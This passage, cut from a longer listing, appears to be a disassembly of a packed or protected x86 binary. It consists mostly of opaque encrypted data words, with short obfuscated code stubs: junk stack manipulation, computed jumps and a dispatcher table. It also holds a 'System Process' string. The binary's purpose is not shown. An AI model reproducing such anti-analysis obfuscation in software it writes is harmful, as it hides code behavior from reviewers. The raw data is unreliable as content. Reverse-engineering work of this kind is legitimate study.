1EC8Ah, 91E8B600h, 82299685h, 813CE14h dd 2F95BBF5h, 738CB572h, 0F821C34Ah, 0FE3FCB41h, 76BB2038h dd 96DA94E5h, 2141123h, 0FB26CAF3h, 8A8E9A79h, 0B84F7B64h dd 78EE7C71h, 0B542F722h, 0EF62F417h, 29906ED3h, 6EFAD9C6h dd 0AEBEF035h, 811A085h, 6C530000h, 78587FA5h, 58826597h dd 6D4E79ABh, 59816498h, 659C76AEh, 0CB719636h, 9349C22Ch dd 5C808934h, 83B95479h, 27B9861h, 7F239749h, 46CE26CAh dd 1F97FDBEh, 52A1B560h, 4A2DA06Dh, 0A2DB78A5h, 2D29960Fh dd 309A6C11h, 5744BA2Ah, 0B11C1B92h, 6B525558h, 0B186179Eh dd 9C6BF9A5h, 6F815E4Eh, 0BDA43D8Bh, 930F98Dh, 0B93CD1EEh dd 6E1A63F0h, 0EA972996h, 0DC250F1Fh, 4D2F4A00h, 0C03EBD4h dd 193EEAh, 0B010000h, 0E802BBF5h, 36FC121Dh, 393B46CEh dd 946C5E1Ah, 0FB7182h, 0CECF0000h, 797C8731h, 44D28EA0h dd 0DA38E31Eh, 682F95BBh, 6F9DB264h, 0A0A581Dh, 0D66CE311h dd 0F5FD11D8h, 9E6D108h, 0A41BE8D2h, 0EDBD23Bh, 3BA11EC3h dd 0EA0CDDD0h, 0A512E750h, 4538C346h, 0C22396C6h, 13F0DAC5h dd 52CBF403h, 0ED0D207Ah, 0BA59DFEFh, 2396EFBFh, 91759835h dd 91585D94h, 0B244C926h, 3FFA20B6h, 0EF2059FAh, 0E09D2396h dd 9F18E14Eh, 0C3FCF3Eh, 299625E9h, 67508976h, 72558786h dd 2CCDC04Dh, 53E32A93h, 263C8117h, 0E3276377h, 0A72DD41Dh dd 0DB01F496h, 84B145E2h, 90CBC7D7h, 0B6050223h, 0A4F067C8h dd 0C0D2D3DCh, 2000006h, 0EB0A32DFh, 0EDD80C03h, 0E10438CBh dd 0F0D70DF8h, 2B093BCCh, 0E621C9F6h, 0D635973Eh, 0E524C72Eh dd 0D637983Fh, 68F3C42Eh, 23974715h, 8A1BDD92h, 20Eh, 73A448AFh dd 968595E8h, 0DC151229h, 1CF1CED9h, 0E509C099h, 8831CE4Fh dd 8DA1787Dh, 0F02B47D1h, 2996858Dh, 0F2E7000Ah, 9C8B122h dd 43D009C0h, 2F94EECFh, 737D625Dh, 5B49AFBEh, 0D9DC15F2h dd 0FC06EE00h, 0A87E1393h, 92478252h, 0F8819267h, 75239672h dd 66876688h, 638572A7h, 0DA7C2DA0h, 0D182B760h, 239672A8h dd 17D67825h, 15A257B6h, 876253B6h, 44BB7E67h, 83DF6F98h dd 766CB015h, 0AB18C335h, 0C702C73Eh, 0C043A512h, 138012Eh dd 96092752h, 57F7A423h, 954001F4h, 0E370C929h, 1D96D29Ah dd 72933817h, 0D363AE7Bh, 7EC37E2Bh, 29AC5781h, 0AE0FDE70h dd 9E3DBA5Fh, 8671CB6Bh, 8831A469h, 65AA46B1h, 0DF9AB970h dd 5C1D96D2h, 45D38F9Fh, 0FE1DE41Dh, 1D96D27Bh, 4D40CBF1h dd 0D97D2A9Ch, 0BF5CA55Ch, 1D96D2BEh, 5AB31C3Bh, 0D2CC7F8Fh dd 0D238FFBh, 0B749C310h, 4031A4F0h, 58635h, 0E829C800h dd 0E22D9134h, 0D62D9B3Ah, 0E322C72Eh, 0D1369641h, 0DB98192Bh dd 1E418EFh, 0E90C30DBh, 0F2D50702h, 369C40CDh, 46A7D281h dd 0BF242397h, 8A31CE01h, 85F9848Fh, 89762996h, 9E3FAE40h dd 912DCA6Fh, 3A86967Eh, 0DBDBF12Fh, 507B23Bh, 0DC5CA27Fh dd 6D7C92DDh, 9C38BD50h, 0FED904FBh, 0F4A528DDh, 0FCEA193Dh dd 0E30CCFF0h, 0CED9A32Ah, 82F16DF4h, 0A2579257h, 62C1BC57h dd 413E2996h, 0E27E83ADh, 0A34D2F7Eh, 7Eh, 0E873CE85h dd 29968595h, 65011512h, 0C772A7F3h, 6F7F9030h, 8FD485DCh dd 369F752Fh, 33C291C0h, 0F1E0183Eh, 6E0F4CC7h, 0EB239D03h dd 2702F33Eh, 1AC037E2h, 0FED633E9h, 0FA4387CAh, 0D96C82F0h dd 239CE09Dh, 0C227B419h, 86655243h, 92571283h, 9084A557h dd 747DC864h, 0A4618A82h, 0E08A876Dh, 0BD1DA355h, 61705A99h dd 52078E79h, 0AE531697h, 9D3E0C6Dh, 7A9C8923h, 47E79h dd 31CEC700h, 0F782918Ch, 74299685h, 3DAC4287h, 8BB66B9Eh dd 9685ADD0h, 0CE8D2A29h, 299685ABh, 8BB67B28h, 9685ADD0h dd 0D97D2A29h, 714E6910h, 527B7A9Ch, 85ED90CBh, 0CD6A2996h dd 9685EB8Eh, 76BB6829h, 815E89BBh, 5760098Ch, 49209574h dd 64A946A5h, 0A71E88C0h, 0D7261379h, 1568F35Ch, 9229966Dh dd 6C955C95h, 8F9E93AFh, 6AA9862Fh, 239D3B0Fh, 3616979Ah dd 6757D93Bh, 0D57E6FBAh, 239CA9A0h, 9C3DBA7Fh, 0A1B56469h dd 52BA7462h, 30ED2850h, 11F61898h, 48D6B45Fh, 5A18h, 0EEDCE300h dd 25C9A015h, 3169FF0Fh, 40CFEF08h, 0BD7A9C4Dh, 8F988C9Eh dd 0F7D5E22Fh, 26C8A114h, 0D03F9FCEh, 46D50CDDh, 239D7333h dd 0B73EF3B0h, 9D736D0Ch, 95C14C23h, 406AF3D9h, 0F097E895h dd 1125E407h, 0D6A060FCh, 1FCB3448h, 2234E5E8h, 13D06h dd 2DED900h, 0CE53E90Dh, 0B85E9D46h, 0EA0CFA82h, 0AA2BE20Bh dd 16B81DBDh, 3AEF16C3h, 7DC4C0D2h, 8E43B3EDh, 8B846C53h dd 40B7826Bh, 4B554C9Ah, 2A96B414h, 1B3BEEDFh, 3E8F3DCh dd 13DE8B02h, 59C113EEh, 5ABD3236h, 6B2356E5h, 0E3A02996h dd 0E8CF9A53h, 0DA8F0607h, 0F518B534h, 6F72044Fh, 0D9F62996h dd 0CDF20D34h, 7A9C4D40h, 55B815C0h, 65CCA60h, 13FCE4DBh dd 2C695FC1h, 0E80E3CB8h, 6246104Bh, 14112F8Fh, 0BB047F0h dd 1026F3FAh, 8766C254h, 81924782h, 29992ADFh, 4F68918Eh dd 3F1A9B6Ah, 557582AFh, 4E7087B2h, 0B6300BA0h, 0BC75DC1Dh dd 9577A09Ah, 491DB39Eh, 608F9F97h, 0DE308B7Ch, 0BABEFD54h dd 2BDACB9h, 0E0FF0000h, 4EC0B31h, 0CCEED90Bh, 0F9E20537h dd 0CDEDD80Ch, 0F130023Ah, 37ED1AC2h, 27DD2E90h, 38EC1DC0h dd 27DD308Dh, 1E5FFCBDh, 9B239743h, 73CE9236h, 968595E8h dd 29E00B29h, 1411F5A4h, 23C7F302h, 3634326Bh, 70A96092h dd 72EF8AC9h, 0AF6C2996h, 8D32959Fh, 0CFAA6990h, 4C299672h dd 72B9C44Fh, 49362996h, 0CE71363h, 0FC3520D9h, 31CEE648h dd 5B0E7F8Ah, 0AF39AFBBh, 0B36FB0Ah, 8F97DE50h, 12EFF92Fh dd 3C11D00h, 0C037E227h, 0A503E91Ah, 9C3C4231h, 7237B046h dd 8DA16485h, 9C9CBBBAh, 1AA59A23h, 47B658B5h, 0B4B12B1Bh dd 0BC8548D6h, 9C90DE9Fh, 88AE5B23h, 1259Ch, 73CE6600h dd 968595E8h, 1151229h, 9940CDF2h, 4449BE1Eh, 7F688195h dd 0E0998F5Bh, 0F5B35D56h, 7F0B93Ch, 430628E7h, 29966733h dd 42F716B7h, 60F619B5h, 25C631D6h, 1A3CEDE0h, 9A1BF2DBh dd 405E8CFh, 0BAE076F2h, 0A13DBA7Fh, 5D80676Eh, 0B97029ACh dd 75A0B295h, 0CE6B2F8Fh, 9D49EC8Dh, 2A9F6923h, 0BB66A5C7h dd 0A7529752h, 0ABB8C152h, 4835239Ch, 0ABF78291h, 8774239Ch dd 0B9DCD67h, 0CACB3E9Dh, 0F41FDA0Fh, 29989C11h, 5F58817Eh dd 7F558C7Bh, 9C763999h, 56E076DAh, 64A946B1h, 50B723D2h dd 0FDE0BD83h, 1E40DBEh, 14Fh, 41E32E91h, 2FD53A96h, 3BE122C8h dd 2ED62F9Ch, 40E423C7h, 0CCF0AFE2h, 0DE093Bh, 0CFEED90Bh dd 0FAE3023Ah, 3603F113h, 97425425h, 5C1CD123h, 9CB7608Ch dd 299685E1h, 20DD116Ch, 0EBDBFD03h, 402F8321h, 42877D1Fh dd 1B927555h, 7661834Eh, 878DB459h, 7865B27Ah, 3A43D088h dd 0B7299659h, 45EFFFCAh, 0D3B71DE4h, 8438ACF5h, 440C6D8Eh dd 9C892996h, 638CC47Ah, 41B45578h, 8D2CA168h, 0CDC04D72h dd 0D2FBFA1Ch, 0C751093Bh, 34B5669Bh, 0D12F95BCh, 0D4CB38A2h dd 0E1D41DE6h, 0F014F9D6h, 0C8F3E805h, 6EAD4C41h, 2397500Bh dd 9B569B88h, 4AD2691Ah, 6F3A4E42h, 52CA799Dh, 0E608E052h dd 0FCE1CB17h, 0D53A9621h, 0EBB03346h, 5803B0F8h, 0F8EBB025h dd 0E52CE5A2h, 0DB8CD83Ch, 51DD3DA5h, 0C1559C67h, 0C3259277h dd 9E3FAE40h, 50797E6Fh, 0A59A40B5h, 9E9C112Fh, 49714847h dd 0A76237BEh, 826A7887h, 698CB05Dh, 67508984h, 9F705081h dd 0A0B6636Ah, 702AA247h, 0C29D3D42h, 0FE11FFF6h, 18D18159h dd 25F5F6h, 0CE4B0000h, 8595E873h, 15122996h, 71C87501h dd 968597E2h, 15AB2229h, 0D4755EFAh, 0FA5318F2h, 0D38D975Eh dd 8C42F81Eh, 3E29AC65h, 7E696CA1h, 4423AA5Fh, 7B7C719Ah dd 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah, 7275788Bh, 1BCCC14Eh dd 1DC368h, 242C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 2E53h mov [esp], edx mov esi, 219B2ABDh shr esi, 7 add esi, 19946D0Dh push esi dec dword ptr [esp] pop esi shr esi, 2 xor esi, 38ADFFCh push 6FFAh mov [esp], esp add dword ptr [esp], 4 pop edx push 3A75h mov [esp], esi add dword ptr [esp], 497514F4h pop dword ptr [edx+8] sub dword ptr [edx+8], 497514F4h push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_5734FA ; --------------------------------------------------------------------------- cli mov edi, 2383B9A2h dec eax mov esi, [edi-156678FFh] mov eax, 5FF456Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 30091BCh, 4907D33Eh, 4057C5F6h, 3286B2E9h, 1DD05E0Ah dd 49F79A8Dh, 61E5EA2Ah, 2FBE8AFDh, 41B70616h, 78A63E85h dd 6F34E34Bh, 75B6F0CAh, 4958DA8Dh, 4601AA6Ah, 4C8D6354h dd 55E93184h, 165C8ECBh, 554F42F8h, 67DEA687h, 14E8h, 9D6D6300h dd 7F7D67E9h, 2657CDD6h, 18956751h, 0A309E648h, 0C3B966BCh dd 0CE858F4h, 1C000000h, 84C67EE4h, 0D151686Dh, 0FC1C92Ah dd 584h, 0FBFFBF00h, 81593A09h, 5C20C0h, 81665100h, 596749E9h dd 0BAh, 101C8B00h, 0F98B6660h, 0EAC38161h, 812BA830h dd 0EE66D1F3h, 13E95Fh, 0DA260000h, 59327264h, 17FA4F96h dd 0B2AD8715h, 6CE3528h, 0ADC3811Eh, 0E9532BA1h, 7, 92B60ECBh dd 53FC63F0h, 6E856h, 68D20000h, 4D1A3CCh, 7FE68166h, 8F5F5EB6h dd 81661004h, 0BFE9BFD1h, 3552D57Fh, 5FD0EA81h, 595018B3h dd 5FCCC281h, 0B96618B3h, 0FA810E9Dh, 0FFFFA4A4h, 0FF83850Fh dd 0E980FFFFh, 0BE89Eh, 2B850000h, 7E79EFD9h, 9B418801h dd 0FE9B1h, 0C4530000h, 51675D33h, 7B8BC36h, 23EB028h dd 0BE95E40h, 8D000000h, 0B8E9A4BEh, 8E7049AAh, 0C681F643h dd 7297h, 3892BF60h, 7E979FCh, 5E000000h, 1E57128h, 0BB61C9A5h dd 1C76h, 8E0Fh, 36FF0000h, 5E8h, 517E4900h, 840FFB2Fh dd 1, 0F55F59F5h, 4EF8EF81h, 14E947E0h, 0ED000000h, 0C3563A32h dd 38872AAFh, 0D5926D76h, 3825D80Eh, 81BAEF84h, 9E4A6BEFh dd 6E92Fh, 0B40000h, 18A2ACB6h, 910BC781h, 0CB8B5EA5h dd 8C0F3E89h, 7, 1800Fh, 83FC0000h, 0EC8004EEh, 850F4B62h dd 0FFFFFF96h, 71955EB8h, 5E8D8D45h, 0E905FF48h, 5, 1CB91509h dd 0DD8D8946h, 2905F90Ch, 0F904E99Dh, 0C185C705h, 0D805F926h dd 6A00006Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 160BC352h, 777FE40Bh, 199D095Dh dd 0C705F934h, 0F900FD85h, 5, 0A3E38100h, 0FF236D98h, 0F916DDB5h dd 95FFFC05h, 5F920D5h, 9D89D88Bh, 5F92A0Dh, 95FF006Ah dd 5F91AEDh, 4BEBC08Bh, 92D50E48h, 8ADEF66Dh, 2620980Bh dd 2DCE2A44h, 0AD7D5D01h, 33BCDFE0h, 28CBD455h, 2FA3C254h dd 93759CDDh, 0D5E44906h, 0FD25F7E0h, 956C98F7h, 0E81E5BDFh dd 0B676A3FBh, 26AD938Ah, 9EEE38CFh, 0D7694F5Bh, 534BCC70h dd 0E96C3767h, 178h, 74A05CD1h, 82636910h, 4A9F4DE4h, 0D42598Bh dd 54495726h, 0D4A5776h, 544159D4h, 3D6A703Ch, 5438255Fh dd 0D6C371E4h, 9AC7C51Ah, 547FB7A7h, 540E147Ah, 128h, 0 dd 4, 2 dup(0) dd 33h, 0 dd 8, 0 aSystem_1 db 'System',0 aProcess db ' Process]',0 align 4 dd 43h dup(0) ; --------------------------------------------------------------------------- jmp loc_5D20CB ; --------------------------------------------------------------------------- push 5FF4C9Eh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF4DF1h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF4F52h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF50AAh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF52CBh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF54BCh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF5612h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF5714h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF59D0h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF5B43h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF5C47h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF5D0Fh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF5F78h jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF678Fh jmp loc_583A19 ; --------------------------------------------------------------------------- push 5FF692Fh jmp loc_583A19 ; --------------------------------------------------------------------------- db 60h dd 6CB146B5h, 63AAAD44h, 6EB348ADh, 60ADAA4Dh, 3BB447B6h dd 2CC9EB80h, 0C736E22Fh, 2FC6ED34h, 0C530E52Ch, 0FE57B732h dd 9F204862h, 0B4392DDAh, 46B76102h, 0AC38A179h, 189F2048h dd 26329E59h, 431406F1h, 46EC7924h, 5B93DAD6h, 7B401396h dd 0BB57AC12h, 32ED04ACh, 521FDCB7h, 0A3E852A5h, 0EE7AE36Dh dd 569ADF32h, 9893689Bh, 330B2E03h, 0A003F5CAh, 0C6B86B9Ch dd 932DC62Eh, 4B9F2603h, 35BE558h, 6B039F26h, 26037612h dd 0F033EE9Fh, 9D3BC22Bh, 0B69F2603h, 87FAF302h, 2A1B8E6Bh dd 374B8BEh, 82014B45h, 359484B5h, 3763ACA2h, 4FF4827Bh dd 8000000h, 2B09F213h, 0C1077FF7h, 294CE1F6h, 7BEBA851h dd 569B9CA0h, 7C5752A5h, 0B4A65D3Fh, 7B29B31Ch, 0C0959F26h dd 1740DFF2h, 0FFBC070Fh, 39DB308Eh, 0C512D1BCh, 26B3E464h dd 0B285049Fh, 8B6A87DCh, 74764122h, 827B313Bh, 144CCh dd 0F126E000h, 26CF861h, 19D89ADFh, 7C9EE3E6h, 14C11079h dd 186E8E1h, 8CD126D7h, 59AE9067h, 7C7F3CB9h, 0DF1E4E21h dd 0F76C899Ah, 0F4AF1AD7h, 0B1D22C2Fh, 0DEB11C81h, 0E6AB7063h dd 0D07C3431h, 0DFBF9D27h, 954A499Ah, 140FF04Ah, 848A0CBAh dd 0D36851A6h, 0EA0BA95Eh, 3BAC4535h, 699CA0DCh, 0A7AFD0AAh dd 4DF55B93h, 1EAA532Bh, 0C69F26F0h, 800B10CBh, 0A5B6A8C1h dd 0E265029Dh, 0AF8F4CBBh, 5A533A46h, 36DF2499h, 133F0FA9h dd 0B76C0AE2h, 3E9A5D36h, 6496DB43h, 6690CFFFh, 0A7974C97h dd 0DC23B462h, 0B2292472h, 0E6DFCA15h, 987ABDB8h, 904B98E6h dd 0BC94468Bh, 0DD858913h, 633E359Ah, 89E70A1Bh, 0A15CA766h dd 0ADB83CD9h, 0A26D37B2h, 8800001Dh, 44898E6Dh, 8BD2658Ch dd 468B9065h, 88D56295h, 138C8F6Eh, 0E411C358h, 0FEE0A57h dd 0E70EC50Ch, 0DE80D54h, 0C62F8F0Ah, 9F204E3Ah, 2607F5A2h dd 481901F4h, 0A64BAD41h, 6F764Fh, 0C736E2AFh, 4DCA0DC6h dd 0CC7485EDh, 0F91236D9h, 51912B0Eh, 564D9ADFh, 3B17BC81h dd 0DF5106A2h, 8531BE9Ah, 619E7578h, 0BB14BC9Eh, 9ADF5121h dd 1611E69Dh, 4861E02Ah, 10147DD6h, 0E48C9CA0h, 2610F18Bh dd 61B66D9Fh, 9D218C87h, 8F4CAB48h, 26102EAEh, 0FCBF4A9Fh dd 7BD0CD06h, 1115E82h, 13520000h, 276126Bh, 0F4F79ADFh dd 0AB4C1CFCh, 1ED99804h, 0EB53A24Fh, 6942431Ah, 0DA55B04Dh dd 26976482h, 0D1BC39DBh, 0D06C056Dh, 8C9ADFE4h, 94E74295h dd 0DF9ADFF8h, 0E938C332h, 0A95129CCh, 0DFE0B450h, 0D53309Ah dd 0CF48F518h, 8BFEB906h, 36284100h, 39D369Eh, 0BB9ADF73h dd 6E53B4AAh, 32ED2161h, 7A3DB45Bh, 0A0BD2E9Fh, 9A9D549Ch dd 2515300Dh, 0AC9824CDh, 4D449F26h, 0B048B08Ah, 26ACBD47h dd 236A299Fh, 54B502EFh, 995ADC79h, 922EC727h, 4A9ADD5Ch dd 5DB28C57h, 70BD3ABBh, 0DF691246h, 879ADD5Ch, 0CA86578Ch dd 0A7ADB8A7h, 1C4F7E26h, 82350000h, 7999E873h, 84327F7Ch dd 7E97E671h, 83357C7Fh, 0A966E572h, 0FAFD001Ah, 65F2FFB3h dd 0FDFAF918h, 67F403B0h, 55EF88E6h, 119F204Fh, 7E139C18h dd 155C9F56h, 6357F4E3h, 0BCE682B9h, 4E6FF962h, 1CD79ADFh dd 75FA54E7h, 0DC68113Fh, 889ADF4Eh, 0BC815689h, 50A74E17h dd 139C8893h, 13C6EDF2h, 18E32C5Dh, 6049AC49h, 0E38CC4F1h dd 9ADFD259h, 69D10E05h, 8801F024h, 0B30B10CBh, 3ABB85Eh dd 0DB28FBEEh, 0C0A35120h, 0AD20E312h, 1823051h, 4E0B02B0h dd 0E80FC489h, 0EEAFB53h, 125A04A2h, 0AB787F34h, 9D5C9B70h dd 0A8349D35h, 149ADFAEh, 0AE60FC5Dh, 93DC9ADFh, 3F14955Ch dd 0A7419A84h, 1F9ADFAEh, 0AD849764h, 0BB5DB28Ch, 47944F3Ah dd 8EE78FE7h, 9ADFAEF2h, 964B76Ah, 9CA086E4h, 8B6A87DCh dd 0C6EC4122h, 6C10EC2Fh, 26B67903h, 0F12EE59Fh, 87DE670Ah dd 6E06A6A8h, 0AC877B05h, 799EE368h, 8B580B7Eh, 6386BB50h dd 62FB63FBh, 68AC87C6h, 0D538837Eh, 6ED39D08h, 0A9662738h dd 7A738236h, 4FB74899h, 0A9684497h, 93B68B40h, 18BE53ABh dd 0E437ECDDh, 56AEF389h, 6090D56Bh, 0AF624691h, 5A9D3ACFh dd 0CAE87DDDh, 16E1C22Bh, 924BAA47h, 0BB44D1D4h, 0EE7034B5h dd 0D400001Ah, 0F845D221h, 0CF1E19D8h, 0FA47D421h, 0D4191EE1h dd 0C748D322h, 0A05D770Ch, 53A2569Bh, 9B5A79C8h, 51A451A0h dd 92EB43C6h, 9F204DF6h, 133BB96Eh, 599E597Eh, 2618DF14h dd 359BCD55h, 0DA1D0D13h, 0C4E55CEFh, 18DD155Ah, 21F9BE95h dd 0A08BFBB8h, 71A6EB9Ch, 0B3EC78E1h, 99589F26h, 0AA379166h dd 2734EF0Eh, 60BA3DDAh, 2801D87Fh, 1BE0EE40h, 19B74CB2h dd 88029E37h, 0C7BA9F26h, 5D291FCh, 0DC753BF2h, 9F268840h dd 60BA05FCh, 2650B8F7h, 2F50A899h, 2BD16361h, 0F884F5D5h dd 649AD976h, 43E054ADh, 394B1542h, 0F7671A7Eh, 0F6224372h dd 12CD8607h, 22BE1797h, 9A9AD9A5h, 7FDF1CE7h, 956892D7h dd 0B57C3F14h, 85F500h, 0EAA924D3h, 28D02A2Dh, 0D9A535CFh dd 0B160B19Ah, 0F33A7D42h, 5FE992BEh, 79AD9A5h, 7600B90Ch dd 0CFD2420h, 825D6D7h, 0ADE48DEDh, 539CD987h, 9F139182h dd 7F44B2DAh, 4EB14A9Fh, 0DB33885Bh, 81966196h, 22BB973Ch dd 9F265086h, 0D5D81DD3h, 1CE79AFEh, 2231AB1h, 8D17C018h dd 399F2650h, 37BEF33Ah, 8AF28AE4h, 50FF89F2h, 0AC679F26h dd 265037D1h, 27F4AF9Fh, 5969DD46h, 8D504399h, 0ADBA8ADFh dd 965B09C4h, 7C000019h, 509D9A59h, 77C651A0h, 529F9C59h dd 7CC156A9h, 1FA09B5Ah, 0D825CF64h, 1BDAFE43h, 0D322D120h dd 19DCF948h, 9A439B1Eh, 9F20520Eh, 26D3C1B6h, 0D41901F4h dd 704D71Eh, 0C29CBD74h, 0D61FD51Ah, 24F72801h, 0E42D9CA0h dd 8D9CA92Eh, 2FA4EF94h, 0E51AF9F4h, 0CE058AE4h, 688DD427h dd 8E438A8Dh, 647DAC49h, 0E58E6A0Bh, 9F26125Bh, 10D31003h dd 4340219Dh, 13AD46BBh, 0CB9F261Fh, 418EEDD8h, 71D05BA0h dd 73A1E658h, 7CD53582h, 99586F1Fh, 24D30287h, 59F5D7h dd 9ADF9764h, 7EEE82E9h, 0CF2981F5h, 2E9E0FD4h, 5C9939CEh dd 0A65B271h, 0C5F2774Dh, 7B98E532h, 55EC7F7Ch, 56394A34h dd 7483BAA0h, 0B61E00BBh, 0D3A04FA5h, 0FEB9D077h, 0A056EA1Bh dd 40C99A9Ch, 97FFC0CFh, 1110EC2Fh, 698C2998h, 14E11180h dd 69882899h, 27CEA380h, 90FBDDD0h, 0DF8A9ACBh, 0D101865Ch dd 0ED44D724h, 140972CCh, 8C9959D1h, 9001DEF7h, 5DCDA09Eh dd 984B3E81h, 9B8C6943h, 0FB6C95C6h, 2004FB2h, 0D6BF4A30h dd 12BF0E09h, 0C0F67BE3h, 76F7E235h, 9ADF4AD6h, 6DC5FBAh dd 0E8125181h, 4BF9415h, 400DCA89h, 0BE17BF93h, 9ADF4A22h dd 0EA76E79Ah, 529ADF4Ah, 77D7649Fh, 487FE66h, 936ED8C2h dd 8EF3740Fh, 64B90D5h, 18A326D1h, 66025B19h, 0DE9ADF79h dd 0D57EE023h, 9CA0515Ch, 3F0C0F02h, 0DF94A963h, 1FFFC431h dd 1D34033Eh, 0A96E7FC0h, 74128D1h, 0E6FF9926h, 6FA4A11Ah dd 734E0588h, 0B86B05E5h, 3BC52EC6h, 0A39AD9A4h, 118B1FD2h dd 417E07B0h, 30B51576h, 0DAA77483h, 71CCBD40h, 9AD9A7EBh dd 0D84263DAh, 43985D93h, 0DDFE93EBh, 1D7CDD1Ah, 39CD97Fh dd 0B94D2E10h, 7FA06994h, 8CE1397Eh, 59AE9067h, 984B3EBFh dd 9566C843h, 0B0E7D13Bh, 11BF8E62h, 0AD4A17E4h, 0FEDF5F4Ah dd 124C19B6h, 3A1110C5h, 0D5EA6BFFh, 5680CD0Ah, 0CE11E415h dd 0C175770Bh, 0D79D50A7h dd 1775h, 0BE39B85Bh, 0A5B23F6Fh, 0C03BBA58h, 0A2B54871h dd 0BF3CB95Bh, 0C6F08340h, 39DD2437h, 0C3F23FBCh, 3DDA2734h dd 62BC3DBAh, 20506FF9h, 0B222D79Fh, 9A5D7E13h, 0F61D742Fh dd 2D58EFFh, 0DF5C993Bh, 84ED6592h, 9ADF02F8h, 872AD64h dd 0E2134C83h, 6DDD013h, 5C79C8B1h, 2C15BF4h, 867D9ADFh dd 0D1015039h, 0B858A924h, 85EE5039h, 9ADF02FBh, 9968B063h dd 146FED1Eh, 34F8447h, 0DF02CE5Ah, 487B769Ah, 0E3023BB3h dd 61938874h, 29000002h, 8306F126h, 0FC5E993Eh, 34B867DBh dd 0DF12019Bh, 0DBC6BD9Ah, 0C0CC6934h, 0F2757237h, 36B106B9h dd 11698CA1h, 57741069h, 31F09ADFh, 9AEB84E6h, 489CA066h dd 43B25FA4h, 14B0894Ah, 0D09F2666h, 741069D1h, 0F09F2666h dd 0E48CEE31h, 2666F18Bh, 61B66D9Fh, 6657F578h, 0F8539F26h dd 0DBF88D63h, 165FDF1Ch, 0A7827B7Bh, 7Eh, 3AC62FC7h, 0A29F266Eh dd 6E17B14Ah, 0D4CF9F26h, 3AC62F0Fh, 0A29F266Eh, 0E0C82CEFh dd 7ED64861h, 12A4FE5Dh, 5EBFD06Fh, 9ADF6CC2h, 32C3F57Ah dd 0A7502AEDh, 9CA07EEAh, 579E559Ah, 6B07D56h, 0C9C824F7h dd 0AE4B9071h, 3762CBB5h, 0B114DF1Ah, 0B205753Bh, 0F92267C7h dd 708D2706h, 0F851A67Dh, 9F26D450h, 3CAD5069h, 0D6D71ED5h dd 2B5CDF3Ah, 3F9BE4Dh, 827B0CBAh, 0DF4Bh, 0F1266100h dd 6AB53C74h, 15E8127Fh, 20D51A94h, 9D5C78D5h, 85DE135Ah dd 6F5AA550h, 9F5E7A0Fh, 15E0155Ch, 1ED4A702h, 770C9ADFh dd 0F5E9958h, 730813E2h, 2EC39BBEh, 0D0AA6D88h, 0A377AE27h dd 55FE569Ch, 9F24F6CBh, 613B8073h, 65A7B8A2h, 67CBAD56h dd 20B89265h, 0DFCA27CBh, 506AB704h, 0C7D56F08h, 92919F24h dd 5183CA4Dh, 413F59A4h, 0B11CA7BFh, 158403h, 0B04F6A00h dd 47AE66ABh, 0AE476DB4h, 44B364A9h, 0AD506AB7h, 0E57631AAh dd 0E835C233h, 0E32A2DCCh, 0EB32C52Ch, 0B12C2FC6h, 5618A44Dh dd 0D3C49F20h, 0E3F426E9h, 412565DDh, 3A24DFBFh, 0F3652F29h dd 678E881Eh, 79461D90h, 20AC38A1h, 59189ADFh, 9F54999Eh dd 9615E658h, 3AB77A4Bh, 0D26E0777h, 8A9ADFE3h, 0DDC74497h dd 1406F126h, 0D9D421CFh, 260FC55h, 25DC9ADFh, 52AC1DDAh dd 80DA1BBDh, 0DF024DD7h, 0BDFAF99Ah, 0F8224370h, 6F8E2805h dd 5AA57Eh, 265FF58h, 90E19ADFh, 3F149564h, 5AB43784h dd 0AB16DF15h, 6F810E81h, 4716E14Ch, 0A9624BAAh, 0A330DF94h dd 5085FB7Dh, 4931EEEDh, 0DF8814B0h, 0ED1D09Ah, 0C32CC42Ch dd 9ADF8839h, 59CBD0A5h, 0B3E16D35h, 8DD2AB70h, 759CA02Eh dd 0B732C1F0h, 0A8BD1FDCh, 658F1991h, 1608BBBCh, 598B15BEh dd 40339F26h, 87D4807Bh, 0DE00000Ah, 456FF426h, 0BE01F426h dd 1FD41901h, 139A03D8h, 9ADF02B5h, 787F36BBh, 809998A3h dd 0DA6E359Eh, 8BD49CDFh, 0E8528D64h, 74876EA3h, 0D6D882Dh dd 4A700C65h, 35EC9F20h, 7E39B858h, 4F14C60Bh, 0BA46AFA1h dd 229F204Ah, 0AE6FB46Fh, 0A7BBBE20h, 2E1CC801h, 14000014h dd 0B80512E1h, 0F5ED918h, 0BA0714E1h, 1459DE21h, 870813E2h dd 609D37CCh, 936296DBh, 5B9A3988h, 916491E0h, 52AB0386h dd 9F2054B6h, 267B792Eh, 83B7E3F4h, 0C5398B7Bh, 3B0FDFAh dd 0D3058AF4h, 9DE4D522h, 8BC5EB78h, 0DFDA56F2h, 0D0130E9Ah dd 0BB1406DDh, 9ADFDA21h, 4119E69Dh, 41466B20h, 0AF646598h dd 0E1625D56h, 0CE2DA316h, 0C1914609h, 251ADBA0h, 8AF3ED4Dh dd 9ADF45FEh, 30E6AB66h, 0D40FC4C5h, 9B8EC747h, 0D1F8874h dd 95000000h, 0DF194112h, 0ADAA669Ah, 48FFFFFCh, 87C2F213h dd 0D03B8070h, 0DCAA320Bh, 0ABCC9ADFh, 6E1D821h, 0E1CD382Dh dd 1D4851D2h, 37F601D6h, 4F943C1Eh, 603B38A3h, 0F3172DD5h dd 11E6BD30h, 0DF6C6138h, 3A24DF9Ch, 62F500B5h, 